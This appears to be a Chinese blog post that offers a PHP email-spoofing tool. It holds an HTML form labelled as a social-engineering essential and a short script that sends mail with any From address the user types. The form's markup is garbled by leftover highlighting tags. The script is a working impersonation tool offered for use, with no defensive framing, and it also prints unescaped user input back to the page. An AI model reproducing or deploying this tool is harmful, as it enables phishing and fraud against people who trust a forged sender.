一个PHP邮件伪造脚本

xx.html

<span <</span><span html</span><span ></span>
<span <</span><span head</span><span ></span>
<span <</span><span title</span><span ></span>邮件欺骗<span </</span><span title</span><span ></span>
<span <</span><span body</span><span ></span>
<span <</span><span h3</span><span ></span>社工必备-邮件欺骗<span </</span><span h3</span><span ></span>
<span <</span><span form </span><span action</span><span ="email_spoof_script.php"</span><span  method</span><span ="post"</span><span ></span>
<span <</span><span p</span><span ></span>要伪造的邮件: <span <</span><span input </span><span type</span><span ="text"</span><span  name</span><span ="spoofemail"</span><span  size</span><span ="30"</span><span </p</span><span ></span>
<span <</span><span p</span><span ></span>发送到: <span <</span><span input </span><span type</span><span ="text"</span><span  name</span><span ="toemail"</span><span  size</span><span ="30"</span><span </p</span><span ></span>
<span <</span><span p</span><span ></span>主题: <span <</span><span input </span><span type</span><span ="text"</span><span  name</span><span ="subject"</span><span  size</span><span ="30"</span><span </p</span><span ></span>
<span <</span><span p</span><span ></span>内容: <span </</span><span p</span><span ></span>
<span <</span><span p</span><span ><</span><span textarea </span><span rows</span><span ="10"</span><span  cols</span><span ="20"</span><span  name</span><span ="message"</span><span ></</span><span textarea</span><span ></</span><span p</span><span ></span>
<span <</span><span input </span><span type</span><span ="submit"</span><span  name</span><span ="submit"</span><span  value</span><span ="Send Spoofed Email!"</span><span ></span>
<span </</span><span body</span><span ></span>
<span </</span><span html</span><span ></span>

email_spoof_script.php

<?<span php
 
</span><span $from</span>=<span $_POST</span>['spoofemail']; <span //</span><span 接受伪造的邮件</span>
<span $email</span>=<span $_POST</span>['toemail']; <span //</span><span 接受发送到的地址</span>
<span $subject</span>=<span $_POST</span>['subject']; <span //</span><span 接受输入的主题</span>
<span $message</span>=<span $_POST</span>['message']; <span //</span><span 接受内容</span>
 
<span mail</span>(<span $email</span>, <span $subject</span>, <span $message</span>, "From: " . <span $from</span>); <span //</span><span 把接受到的内容发送并替换电子邮件</span>
<span print</span> "<h3>您的邮件已发送成功. 这是您的电子邮件:</h3> <br>From: <span $from</span><br>To: <span $email</span><br>Subject: <span $subject</span><br>Message: <span $message</span>"<span ;
 
</span>?>